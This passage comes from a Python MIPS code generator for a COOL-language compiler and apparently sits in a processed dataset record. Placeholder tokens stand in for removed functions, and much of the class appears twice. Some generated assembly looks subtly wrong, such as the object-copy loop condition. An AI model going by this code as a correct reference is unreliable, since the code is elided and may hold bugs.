self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n @visitor.when(cil.Goto)\n def visit(self, node: cil.Goto):\n self.write_file('# GOTO')\n self.write_file('j _cil_label_{}'.format(node.label))\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_string(self):\n self.write_file('function_IO_out_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 16($a0)')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n\n @visitor.when(cil.Function)\n def visit(self, node: cil.Function):\n self.write_file(f'function_{node.name}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')\n for i in range(len(node.args)):\n self.offset[node.args[i].name] = 12 + i * 4\n for i in range(len(node.vlocals)):\n self.offset[node.vlocals[i].name] = i * -4\n for inst in node.body:\n if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):\n inst.id = self.new_labels_id()\n self.visit(inst)\n self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')\n self.write_file('jr $ra')\n self.write_file('')\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n <function token>\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n @visitor.when(cil.Goto)\n def visit(self, node: cil.Goto):\n self.write_file('# GOTO')\n self.write_file('j _cil_label_{}'.format(node.label))\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n 